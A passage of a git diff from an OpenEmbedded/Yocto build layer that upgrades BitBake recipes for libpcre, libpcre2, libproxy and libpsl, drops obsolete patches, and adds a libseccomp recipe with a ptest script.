-+ CC_FOR_BUILD="${CC_FOR_BUILD-\$(CC)}"
-+ CCLD_FOR_BUILD="${CCLD_FOR_BUILD-\$(CCLD)}"
-+ CFLAGS_FOR_BUILD="${CFLAGS_FOR_BUILD-\$(CFLAGS)}"
-+ LDFLAGS_FOR_BUILD="${LDFLAGS_FOR_BUILD-\$(LDFLAGS)}"
-+fi
-+AC_ARG_VAR(CC_FOR_BUILD, [build system C compiler])
-+AC_ARG_VAR(CCLD_FOR_BUILD, [build system C linker frontend])
-+AC_ARG_VAR(CFLAGS_FOR_BUILD, [build system C compiler arguments])
-+AC_ARG_VAR(LDFLAGS_FOR_BUILD, [build system C linker frontend arguments])
-+
-+
- # Check for a 64-bit integer type
- AC_TYPE_INT64_T
-
diff --git a/meta/recipes-support/libpcre/libpcre2_10.33.bb b/meta/recipes-support/libpcre/libpcre2_10.33.bb
deleted file mode 100644
index 87da313769..0000000000
--- a/meta/recipes-support/libpcre/libpcre2_10.33.bb
+++ /dev/null
@@ -1,61 +0,0 @@
-DESCRIPTION = "There are two major versions of the PCRE library. The \
-newest version is PCRE2, which is a re-working of the original PCRE \
-library to provide an entirely new API. The original, very widely \
-deployed PCRE library's API and feature are stable, future releases \
- will be for bugfixes only. All new future features will be to PCRE2, \
-not the original PCRE 8.x series."
-SUMMARY = "Perl Compatible Regular Expressions version 2"
-HOMEPAGE = "http://www.pcre.org"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=b1588d3bb4cb0e1f5a597d908f8c5b37"
-
-SRC_URI = "https://ftp.pcre.org/pub/pcre/pcre2-${PV}.tar.bz2 \
- file://pcre-cross.patch \
-"
-
-SRC_URI[md5sum] = "80b355f2dce909a2e2424f5c79eddb44"
-SRC_URI[sha256sum] = "35514dff0ccdf02b55bd2e9fa586a1b9d01f62332c3356e379eabb75f789d8aa"
-
-CVE_PRODUCT = "pcre2"
-
-S = "${WORKDIR}/pcre2-${PV}"
-
-PROVIDES += "pcre2"
-DEPENDS += "bzip2 zlib"
-
-BINCONFIG = "${bindir}/pcre2-config"
-
-inherit autotools binconfig-disabled
-
-EXTRA_OECONF = "\
- --enable-newline-is-lf \
- --enable-rebuild-chartables \
- --with-link-size=2 \
- --with-match-limit=10000000 \
- --enable-pcre2-16 \
- --enable-pcre2-32 \
-"
-# Set LINK_SIZE in BUILD_CFLAGS given that the autotools bbclass use it to
-# set CFLAGS_FOR_BUILD, required for the libpcre build.
-BUILD_CFLAGS =+ "-DLINK_SIZE=2 -I${B}/src"
-CFLAGS += "-D_REENTRANT"
-CXXFLAGS_append_powerpc = " -lstdc++"
-
-export CCLD_FOR_BUILD ="${BUILD_CCLD}"
-
-PACKAGES =+ "libpcre2-16 libpcre2-32 pcre2grep pcre2grep-doc pcre2test pcre2test-doc"
-
-SUMMARY_pcre2grep = "grep utility that uses perl 5 compatible regexes"
-SUMMARY_pcre2grep-doc = "grep utility that uses perl 5 compatible regexes - docs"
-SUMMARY_pcre2test = "program for testing Perl-comatible regular expressions"
-SUMMARY_pcre2test-doc = "program for testing Perl-comatible regular expressions - docs"
-
-FILES_libpcre2-16 = "${libdir}/libpcre2-16.so.*"
-FILES_libpcre2-32 = "${libdir}/libpcre2-32.so.*"
-FILES_pcre2grep = "${bindir}/pcre2grep"
-FILES_pcre2grep-doc = "${mandir}/man1/pcre2grep.1"
-FILES_pcre2test = "${bindir}/pcre2test"
-FILES_pcre2test-doc = "${mandir}/man1/pcre2test.1"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre2_10.39.bb b/meta/recipes-support/libpcre/libpcre2_10.39.bb
new file mode 100644
index 0000000000..b5ec62fe18
--- /dev/null
+++ b/meta/recipes-support/libpcre/libpcre2_10.39.bb
@@ -0,0 +1,54 @@
+DESCRIPTION = "There are two major versions of the PCRE library. The \
+newest version is PCRE2, which is a re-working of the original PCRE \
+library to provide an entirely new API. The original, very widely \
+deployed PCRE library's API and feature are stable, future releases \
+ will be for bugfixes only. All new future features will be to PCRE2, \
+not the original PCRE 8.x series."
+SUMMARY = "Perl Compatible Regular Expressions version 2"
+HOMEPAGE = "http://www.pcre.org"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=43cfa999260dd853cd6cb174dc396f3d"
+
+SRC_URI = "https://github.com/PhilipHazel/pcre2/releases/download/pcre2-${PV}/pcre2-${PV}.tar.bz2"
+
+UPSTREAM_CHECK_URI = "https://github.com/PhilipHazel/pcre2/releases"
+
+SRC_URI[sha256sum] = "0f03caf57f81d9ff362ac28cd389c055ec2bf0678d277349a1a4bee00ad6d440"
+
+CVE_PRODUCT = "pcre2"
+
+S = "${WORKDIR}/pcre2-${PV}"
+
+PROVIDES += "pcre2"
+DEPENDS += "bzip2 zlib"
+
+BINCONFIG = "${bindir}/pcre2-config"
+
+inherit autotools binconfig-disabled
+
+EXTRA_OECONF = "\
+ --enable-newline-is-lf \
+ --with-link-size=2 \
+ --with-match-limit=10000000 \
+ --enable-pcre2-16 \
+ --enable-pcre2-32 \
+"
+CFLAGS += "-D_REENTRANT"
+CXXFLAGS:append:powerpc = " -lstdc++"
+
+PACKAGES =+ "libpcre2-16 libpcre2-32 pcre2grep pcre2grep-doc pcre2test pcre2test-doc"
+
+SUMMARY:pcre2grep = "grep utility that uses perl 5 compatible regexes"
+SUMMARY:pcre2grep-doc = "grep utility that uses perl 5 compatible regexes - docs"
+SUMMARY:pcre2test = "program for testing Perl-comatible regular expressions"
+SUMMARY:pcre2test-doc = "program for testing Perl-comatible regular expressions - docs"
+
+FILES:libpcre2-16 = "${libdir}/libpcre2-16.so.*"
+FILES:libpcre2-32 = "${libdir}/libpcre2-32.so.*"
+FILES:pcre2grep = "${bindir}/pcre2grep"
+FILES:pcre2grep-doc = "${mandir}/man1/pcre2grep.1"
+FILES:pcre2test = "${bindir}/pcre2test"
+FILES:pcre2test-doc = "${mandir}/man1/pcre2test.1"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpcre/libpcre_8.43.bb b/meta/recipes-support/libpcre/libpcre_8.43.bb
deleted file mode 100644
index f9a22fee9d..0000000000
--- a/meta/recipes-support/libpcre/libpcre_8.43.bb
+++ /dev/null
@@ -1,76 +0,0 @@
-DESCRIPTION = "The PCRE library is a set of functions that implement regular \
-expression pattern matching using the same syntax and semantics as Perl 5. PCRE \
-has its own native API, as well as a set of wrapper functions that correspond \
-to the POSIX regular expression API."
-SUMMARY = "Perl Compatible Regular Expressions"
-HOMEPAGE = "http://www.pcre.org"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=91bee59d1b327eb1599b4c673e2fb3d1"
-SRC_URI = "https://ftp.pcre.org/pub/pcre/pcre-${PV}.tar.bz2 \
- file://fix-pcre-name-collision.patch \
- file://out-of-tree.patch \
- file://run-ptest \
- file://Makefile \
-"
-
-SRC_URI[md5sum] = "636222e79e392c3d95dcc545f24f98c4"
-SRC_URI[sha256sum] = "91e762520003013834ac1adb4a938d53b22a216341c061b0cf05603b290faf6b"
-
-CVE_PRODUCT = "pcre"
-
-S = "${WORKDIR}/pcre-${PV}"
-
-PROVIDES += "pcre"
-DEPENDS += "bzip2 zlib"
-
-PACKAGECONFIG ??= "pcre8 unicode-properties jit"
-
-PACKAGECONFIG[pcre8] = "--enable-pcre8,--disable-pcre8"
-PACKAGECONFIG[pcre16] = "--enable-pcre16,--disable-pcre16"
-PACKAGECONFIG[pcre32] = "--enable-pcre32,--disable-pcre32"
-PACKAGECONFIG[pcretest-readline] = "--enable-pcretest-libreadline,--disable-pcretest-libreadline,readline,"
-PACKAGECONFIG[unicode-properties] = "--enable-unicode-properties,--disable-unicode-properties"
-PACKAGECONFIG[jit] = "--enable-jit=auto,--disable-jit"
-
-BINCONFIG = "${bindir}/pcre-config"
-
-inherit autotools binconfig-disabled ptest
-
-EXTRA_OECONF = "--enable-utf"
-
-PACKAGES =+ "libpcrecpp libpcreposix pcregrep pcregrep-doc pcretest pcretest-doc"
-
-SUMMARY_libpcrecpp = "${SUMMARY} - C++ wrapper functions"
-SUMMARY_libpcreposix = "${SUMMARY} - C wrapper functions based on the POSIX regex API"
-SUMMARY_pcregrep = "grep utility that uses perl 5 compatible regexes"
-SUMMARY_pcregrep-doc = "grep utility that uses perl 5 compatible regexes - docs"
-SUMMARY_pcretest = "program for testing Perl-comatible regular expressions"
-SUMMARY_pcretest-doc = "program for testing Perl-comatible regular expressions - docs"
-
-FILES_libpcrecpp = "${libdir}/libpcrecpp.so.*"
-FILES_libpcreposix = "${libdir}/libpcreposix.so.*"
-FILES_pcregrep = "${bindir}/pcregrep"
-FILES_pcregrep-doc = "${mandir}/man1/pcregrep.1"
-FILES_pcretest = "${bindir}/pcretest"
-FILES_pcretest-doc = "${mandir}/man1/pcretest.1"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- cp ${WORKDIR}/Makefile $t
- cp -r ${S}/testdata $t
- for i in pcre_stringpiece_unittest pcregrep pcretest; \
- do cp ${B}/.libs/$i $t; \
- done
- for i in RunTest RunGrepTest test-driver; \
- do cp ${S}/$i $t; \
- done
- # Skip the fr_FR locale test. If the locale fr_FR is found, it is tested.
- # If not found, the test is skipped. The test program assumes fr_FR is non-UTF-8
- # locale so the test fails if fr_FR is UTF-8 locale.
- sed -i -e 's:do3=yes:do3=no:g' ${D}${PTEST_PATH}/RunTest
-}
-
-RDEPENDS_${PN}-ptest += "make"
diff --git a/meta/recipes-support/libpcre/libpcre_8.45.bb b/meta/recipes-support/libpcre/libpcre_8.45.bb
new file mode 100644
index 0000000000..46fedbae48
--- /dev/null
+++ b/meta/recipes-support/libpcre/libpcre_8.45.bb
@@ -0,0 +1,73 @@
+DESCRIPTION = "The PCRE library is a set of functions that implement regular \
+expression pattern matching using the same syntax and semantics as Perl 5. PCRE \
+has its own native API, as well as a set of wrapper functions that correspond \
+to the POSIX regular expression API."
+SUMMARY = "Perl Compatible Regular Expressions"
+HOMEPAGE = "http://www.pcre.org"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=b5d5d1a69a24ea2718263f1ff85a1c58"
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcre/pcre-${PV}.tar.bz2 \
+ file://run-ptest \
+ file://Makefile \
+ "
+
+SRC_URI[sha256sum] = "4dae6fdcd2bb0bb6c37b5f97c33c2be954da743985369cddac3546e3218bffb8"
+
+CVE_PRODUCT = "pcre"
+
+S = "${WORKDIR}/pcre-${PV}"
+
+PROVIDES += "pcre"
+DEPENDS += "bzip2 zlib"
+
+PACKAGECONFIG ??= "pcre8 unicode-properties jit"
+
+PACKAGECONFIG[pcre8] = "--enable-pcre8,--disable-pcre8"
+PACKAGECONFIG[pcre16] = "--enable-pcre16,--disable-pcre16"
+PACKAGECONFIG[pcre32] = "--enable-pcre32,--disable-pcre32"
+PACKAGECONFIG[pcretest-readline] = "--enable-pcretest-libreadline,--disable-pcretest-libreadline,readline,"
+PACKAGECONFIG[unicode-properties] = "--enable-unicode-properties,--disable-unicode-properties"
+PACKAGECONFIG[jit] = "--enable-jit=auto,--disable-jit"
+
+BINCONFIG = "${bindir}/pcre-config"
+
+inherit autotools binconfig-disabled ptest
+
+EXTRA_OECONF = "--enable-utf"
+
+PACKAGES =+ "libpcrecpp libpcreposix pcregrep pcregrep-doc pcretest pcretest-doc"
+
+SUMMARY:libpcrecpp = "${SUMMARY} - C++ wrapper functions"
+SUMMARY:libpcreposix = "${SUMMARY} - C wrapper functions based on the POSIX regex API"
+SUMMARY:pcregrep = "grep utility that uses perl 5 compatible regexes"
+SUMMARY:pcregrep-doc = "grep utility that uses perl 5 compatible regexes - docs"
+SUMMARY:pcretest = "program for testing Perl-comatible regular expressions"
+SUMMARY:pcretest-doc = "program for testing Perl-comatible regular expressions - docs"
+
+FILES:libpcrecpp = "${libdir}/libpcrecpp.so.*"
+FILES:libpcreposix = "${libdir}/libpcreposix.so.*"
+FILES:pcregrep = "${bindir}/pcregrep"
+FILES:pcregrep-doc = "${mandir}/man1/pcregrep.1"
+FILES:pcretest = "${bindir}/pcretest"
+FILES:pcretest-doc = "${mandir}/man1/pcretest.1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ cp ${WORKDIR}/Makefile $t
+ cp -r ${S}/testdata $t
+ for i in pcre_stringpiece_unittest pcregrep pcretest; \
+ do cp ${B}/.libs/$i $t; \
+ done
+ for i in RunTest RunGrepTest test-driver; \
+ do cp ${S}/$i $t; \
+ done
+ # Skip the fr_FR locale test. If the locale fr_FR is found, it is tested.
+ # If not found, the test is skipped. The test program assumes fr_FR is non-UTF-8
+ # locale so the test fails if fr_FR is UTF-8 locale.
+ sed -i -e 's:do3=yes:do3=no:g' ${D}${PTEST_PATH}/RunTest
+}
+
+RDEPENDS:${PN}-ptest += "make"
diff --git a/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch b/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch
deleted file mode 100644
index fedda9dd95..0000000000
--- a/meta/recipes-support/libproxy/libproxy/0001-get-pac-test-Fix-build-with-clang-libc.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 2d73469c7a17ebfe4330ac6643b0c8abdc125d05 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Jan 2019 09:29:44 -0800
-Subject: [PATCH] get-pac-test: Fix build with clang/libc++
-
-get-pac-test.cpp:55:10: error: assigning to 'int' from incompatible type '__bind<int &, sockaddr *, unsigned int>'
- ret = bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in)); ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Submitted [https://github.com/libproxy/libproxy/pull/97]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libproxy/test/get-pac-test.cpp | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libproxy/test/get-pac-test.cpp b/libproxy/test/get-pac-test.cpp
-index 0059dfb..911f296 100644
---- a/libproxy/test/get-pac-test.cpp
-+++ b/libproxy/test/get-pac-test.cpp
-@@ -52,7 +52,7 @@ class TestServer {
-
- setsockopt(m_sock, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
-
-- ret = bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in));
-+ ret = ::bind(m_sock, (sockaddr*)&addr, sizeof (struct sockaddr_in));
- assert(!ret);
-
- ret = listen(m_sock, 1);
---
-2.20.1
-
diff --git a/meta/recipes-support/libproxy/libproxy/determinism.patch b/meta/recipes-support/libproxy/libproxy/determinism.patch
new file mode 100644
index 0000000000..09770f68f0
--- /dev/null
+++ b/meta/recipes-support/libproxy/libproxy/determinism.patch
@@ -0,0 +1,26 @@
+[PATCH] cmake/modules/config_sysconfig: Allow configuration of sysconfig module
+
+Checking whether the host system has /etc/sysconfig is not deterministic
+when cross compiling. Allow this to be disabled by adding a configure
+option for it. OpenEmbedded can set this and have deterministic build
+output independent of the host OS.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Submitted [https://github.com/libproxy/libproxy/pull/160]
+
+Index: libproxy-0.4.17/libproxy/cmake/modules/config_sysconfig.cmk
+===================================================================
+--- libproxy-0.4.17.orig/libproxy/cmake/modules/config_sysconfig.cmk
++++ libproxy-0.4.17/libproxy/cmake/modules/config_sysconfig.cmk
+@@ -1,5 +1,8 @@
+ if (NOT WIN32 AND NOT APPLE)
+- if (EXISTS "/etc/sysconfig" AND IS_DIRECTORY "/etc/sysconfig")
+- set(SYSCONFIG_FOUND 1)
++ option(WITH_SYSCONFIG "Build sysconfig module for /etc/sysconfig" ON)
++ if(WITH_SYSCONFIG)
++ if (EXISTS "/etc/sysconfig" AND IS_DIRECTORY "/etc/sysconfig")
++ set(SYSCONFIG_FOUND 1)
++ endif()
+ endif()
+ endif()
+\ No newline at end of file
diff --git a/meta/recipes-support/libproxy/libproxy_0.4.15.bb b/meta/recipes-support/libproxy/libproxy_0.4.15.bb
deleted file mode 100644
index 19dddebd44..0000000000
--- a/meta/recipes-support/libproxy/libproxy_0.4.15.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "Library providing automatic proxy configuration management"
-HOMEPAGE = "https://github.com/libproxy/libproxy"
-BUGTRACKER = "https://github.com/libproxy/libproxy/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://utils/proxy.c;beginline=1;endline=18;md5=55152a1006d7dafbef32baf9c30a99c0"
-
-DEPENDS = "glib-2.0"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://0001-get-pac-test-Fix-build-with-clang-libc.patch \
- "
-SRC_URI[md5sum] = "f6b1d2a1e17a99cd3debaae6d04ab152"
-SRC_URI[sha256sum] = "654db464120c9534654590b6683c7fa3887b3dad0ca1c4cd412af24fbfca6d4f"
-
-UPSTREAM_CHECK_URI = "https://github.com/libproxy/libproxy/releases"
-UPSTREAM_CHECK_REGEX = "libproxy-(?P<pver>.*)\.tar"
-
-inherit cmake pkgconfig
-
-PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gnome', '', d)} gnome3"
-PACKAGECONFIG[gnome] = "-DWITH_GNOME=yes,-DWITH_GNOME=no,gconf"
-PACKAGECONFIG[gnome3] = "-DWITH_GNOME3=yes,-DWITH_GNOME3=no"
-
-EXTRA_OECMAKE += " \
- -DWITH_KDE=no \
- -DWITH_MOZJS=no \
- -DWITH_NM=no \
- -DWITH_PERL=no \
- -DWITH_PYTHON2=no \
- -DWITH_PYTHON3=no \
- -DWITH_WEBKIT=no \
- -DLIB_INSTALL_DIR=${libdir} \
- -DLIBEXEC_INSTALL_DIR=${libexecdir} \
-"
-SECURITY_PIE_CFLAGS_remove = "-fPIE -pie"
-
-FILES_${PN} += "${libdir}/${BPN}/${PV}/modules"
diff --git a/meta/recipes-support/libproxy/libproxy_0.4.17.bb b/meta/recipes-support/libproxy/libproxy_0.4.17.bb
new file mode 100644
index 0000000000..e121681ae8
--- /dev/null
+++ b/meta/recipes-support/libproxy/libproxy_0.4.17.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Library providing automatic proxy configuration management"
+DESCRIPTION = "libproxy provides interfaces to get the proxy that will be \
+used to access network resources. It uses various plugins to get proxy \
+configuration via different mechanisms (e.g. environment variables or \
+desktop settings)."
+HOMEPAGE = "https://github.com/libproxy/libproxy"
+BUGTRACKER = "https://github.com/libproxy/libproxy/issues"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://utils/proxy.c;beginline=1;endline=18;md5=55152a1006d7dafbef32baf9c30a99c0"
+
+DEPENDS = "glib-2.0"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
+ file://determinism.patch"
+SRC_URI[sha256sum] = "bc89f842f654ee1985a31c0ba56dc7e2ce8044a0264ddca84e650f46cd7f8b05"
+
+UPSTREAM_CHECK_URI = "https://github.com/libproxy/libproxy/releases"
+UPSTREAM_CHECK_REGEX = "libproxy-(?P<pver>.*)\.tar"
+
+inherit cmake pkgconfig
+
+PACKAGECONFIG ?= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gnome', '', d)} gnome3"
+PACKAGECONFIG[gnome] = "-DWITH_GNOME=yes,-DWITH_GNOME=no,gconf"
+PACKAGECONFIG[gnome3] = "-DWITH_GNOME3=yes,-DWITH_GNOME3=no"
+
+EXTRA_OECMAKE += " \
+ -DWITH_KDE=no \
+ -DWITH_MOZJS=no \
+ -DWITH_NM=no \
+ -DWITH_PERL=no \
+ -DWITH_PYTHON2=no \
+ -DWITH_PYTHON3=no \
+ -DWITH_WEBKIT=no \
+ -DWITH_SYSCONFIG=no \
+ -DLIB_INSTALL_DIR=${libdir} \
+ -DLIBEXEC_INSTALL_DIR=${libexecdir} \
+"
+SECURITY_PIE_CFLAGS:remove = "-fPIE -pie"
+
+FILES:${PN} += "${libdir}/${BPN}/${PV}/modules"
diff --git a/meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch b/meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch
deleted file mode 100644
index 6d6ccf4d25..0000000000
--- a/meta/recipes-support/libpsl/libpsl/0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From a0e6f0ec9dc6dd1db1c03f7f273cc16cb3af5561 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Thu, 11 Jul 2019 17:47:11 +0100
-Subject: [PATCH] Makefile.am: use PYTHON when invoking psl-make-dafsa
-
-In an environment where only Python 3 is installed, configure.ac finds and sets
-PYTHON=python3 correctly but src/psl-make-dafsa is called directly, so the hashbang of
-`#!/usr/bin/env python` is used which doesn't exist.
-
-Fix this by explicitly running $(PYTHON) when using the tool.
-
-Upstream-Status: Backport [https://github.com/rockdaboot/libpsl/commit/b4fec5d0ddb70fc4f5360eb14f2f5c5e91194333]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/Makefile.am | 2 +-
- tests/Makefile.am | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index f9c0a3d..a05ea05 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -19,7 +19,7 @@ libpsl_la_LDFLAGS = -no-undefined -version-info $(LIBPSL_SO_VERSION)
- # Build rule for suffix_dafsa.c
- # PSL_FILE can be set by ./configure --with-psl-file=[PATH]
- suffixes_dafsa.h: $(PSL_FILE) $(srcdir)/psl-make-dafsa
-- $(srcdir)/psl-make-dafsa --output-format=cxx+ "$(PSL_FILE)" suffixes_dafsa.h
-+ $(PYTHON) $(srcdir)/psl-make-dafsa --output-format=cxx+ "$(PSL_FILE)" suffixes_dafsa.h
-
- EXTRA_DIST = psl-make-dafsa LICENSE.chromium
-
-diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 8b29b61..28a9a0b 100644
---- a/tests/Makefile.am
-+++ b/tests/Makefile.am
-@@ -34,9 +34,9 @@ TESTS = $(PSL_TESTS)
- # check-local target works in parallel to the tests, so the test suite will likely fail
- BUILT_SOURCES = psl.dafsa psl_ascii.dafsa
- psl.dafsa: $(top_srcdir)/list/public_suffix_list.dat
-- $(top_srcdir)/src/psl-make-dafsa --output-format=binary "$(PSL_FILE)" psl.dafsa
-+ $(PYTHON) $(top_srcdir)/src/psl-make-dafsa --output-format=binary "$(PSL_FILE)" psl.dafsa
- psl_ascii.dafsa: $(top_srcdir)/list/public_suffix_list.dat
-- $(top_srcdir)/src/psl-make-dafsa --output-format=binary --encoding=ascii "$(PSL_FILE)" psl_ascii.dafsa
-+ $(PYTHON) $(top_srcdir)/src/psl-make-dafsa --output-format=binary --encoding=ascii "$(PSL_FILE)" psl_ascii.dafsa
-
- clean-local:
- rm -f psl.dafsa psl_ascii.dafsa
---
-2.17.1
-
diff --git a/meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch b/meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch
deleted file mode 100644
index c78d6fd981..0000000000
--- a/meta/recipes-support/libpsl/libpsl/0001-gtk-doc-do-not-include-tree_index.sgml.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 8691105e1808ec9b031b6c25f70204a0908ae9c1 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sat, 1 Jun 2019 13:09:41 +0200
-Subject: [PATCH] gtk-doc: do not include tree_index.sgml
-
-gtk-doc 1.30 no longer generates the file if the object tree is empty
-
-Upstream-Status: Backport [87d1add318b5e5d09977f7f374e923577b6ff3be]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- docs/libpsl/libpsl-docs.sgml | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/docs/libpsl/libpsl-docs.sgml b/docs/libpsl/libpsl-docs.sgml
-index 1eca9a2..1c38dbc 100644
---- a/docs/libpsl/libpsl-docs.sgml
-+++ b/docs/libpsl/libpsl-docs.sgml
-@@ -22,10 +22,6 @@
- </para>
- <xi:include href="xml/libpsl.xml"/>
- </chapter>
-- <chapter id="object-tree">
-- <title>Object Hierarchy</title>
-- <xi:include href="xml/tree_index.sgml"/>
-- </chapter>
- <index id="api-index-full">
- <title>API Index</title>
- <xi:include href="xml/api-index-full.xml"><xi:fallback /></xi:include>
diff --git a/meta/recipes-support/libpsl/libpsl_0.21.0.bb b/meta/recipes-support/libpsl/libpsl_0.21.0.bb
deleted file mode 100644
index 9831b4b94f..0000000000
--- a/meta/recipes-support/libpsl/libpsl_0.21.0.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Public Suffix List library"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5437030d9e4fbe7267ced058ddb8a7f5 \
- file://COPYING;md5=f41d10997a12da5ee3c24ceeb0148d18"
-
-SRC_URI = "https://github.com/rockdaboot/${BPN}/releases/download/${BP}/${BP}.tar.gz \
- file://0001-gtk-doc-do-not-include-tree_index.sgml.patch \
- file://0001-Makefile.am-use-PYTHON-when-invoking-psl-make-dafsa.patch \
- "
-SRC_URI[md5sum] = "171e96d887709e36a57f4ee627bf82d2"
-SRC_URI[sha256sum] = "41bd1c75a375b85c337b59783f5deb93dbb443fb0a52d257f403df7bd653ee12"
-
-UPSTREAM_CHECK_URI = "https://github.com/rockdaboot/libpsl/releases"
-
-DEPENDS = "libidn2"
-
-inherit autotools gettext gtk-doc manpages pkgconfig lib_package
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[manpages] = "--enable-man,--disable-man,libxslt-native"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libpsl/libpsl_0.21.1.bb b/meta/recipes-support/libpsl/libpsl_0.21.1.bb
new file mode 100644
index 0000000000..4fc0ad8acb
--- /dev/null
+++ b/meta/recipes-support/libpsl/libpsl_0.21.1.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Public Suffix List library"
+DESCRIPTION = "The libpsl package provides a library for accessing and \
+resolving information from the Public Suffix List (PSL). The PSL is a set of \
+domain names beyond the standard suffixes, such as .com."
+
+HOMEPAGE = "https://rockdaboot.github.io/libpsl/"
+BUGTRACKER = "https://github.com/rockdaboot/libpsl/issues"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5437030d9e4fbe7267ced058ddb8a7f5 \
+ file://COPYING;md5=f41d10997a12da5ee3c24ceeb0148d18"
+
+SRC_URI = "https://github.com/rockdaboot/${BPN}/releases/download/${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "ac6ce1e1fbd4d0254c4ddb9d37f1fa99dec83619c1253328155206b896210d4c"
+
+UPSTREAM_CHECK_URI = "https://github.com/rockdaboot/libpsl/releases"
+
+inherit autotools gettext gtk-doc manpages pkgconfig lib_package
+
+PACKAGECONFIG ?= "icu"
+PACKAGECONFIG[manpages] = "--enable-man,--disable-man,libxslt-native"
+PACKAGECONFIG[icu] = "--enable-runtime=libicu --enable-builtin=libicu,,icu"
+PACKAGECONFIG[idn2] = "--enable-runtime=libidn2 --enable-builtin=libidn2,,libidn2 libunistring"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libseccomp/files/run-ptest b/meta/recipes-support/libseccomp/files/run-ptest
new file mode 100644
index 0000000000..54b4a63cd2
--- /dev/null
+++ b/meta/recipes-support/libseccomp/files/run-ptest
@@ -0,0 +1,4 @@
+#!/bin/sh
+
+cd tests
+./regression -a
diff --git a/meta/recipes-support/libseccomp/libseccomp_2.5.3.bb b/meta/recipes-support/libseccomp/libseccomp_2.5.3.bb
new file mode 100644
index 0000000000..e6260a7754
--- /dev/null
+++ b/meta/recipes-support/libseccomp/libseccomp_2.5.3.bb
@@ -0,0 +1,54 @@
+SUMMARY = "interface to seccomp filtering mechanism"
+DESCRIPTION = "The libseccomp library provides and easy to use, platform independent,interface to the Linux Kernel's syscall filtering mechanism: seccomp."
+HOMEPAGE = "https://github.com/seccomp/libseccomp"
+SECTION = "security"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;beginline=0;endline=1;md5=8eac08d22113880357ceb8e7c37f989f"
+
+DEPENDS += "gperf-native"
+
+SRCREV = "57357d2741a3b3d3e8425889a6b79a130e0fa2f3"
+
+SRC_URI = "git://github.com/seccomp/libseccomp.git;branch=release-2.5;protocol=https \
+ file://run-ptest \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools-brokensep pkgconfig ptest features_check
+
+REQUIRED_DISTRO_FEATURES = "seccomp"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[python] = "--enable-python, --disable-python, python3"
+
+DISABLE_STATIC = ""
+
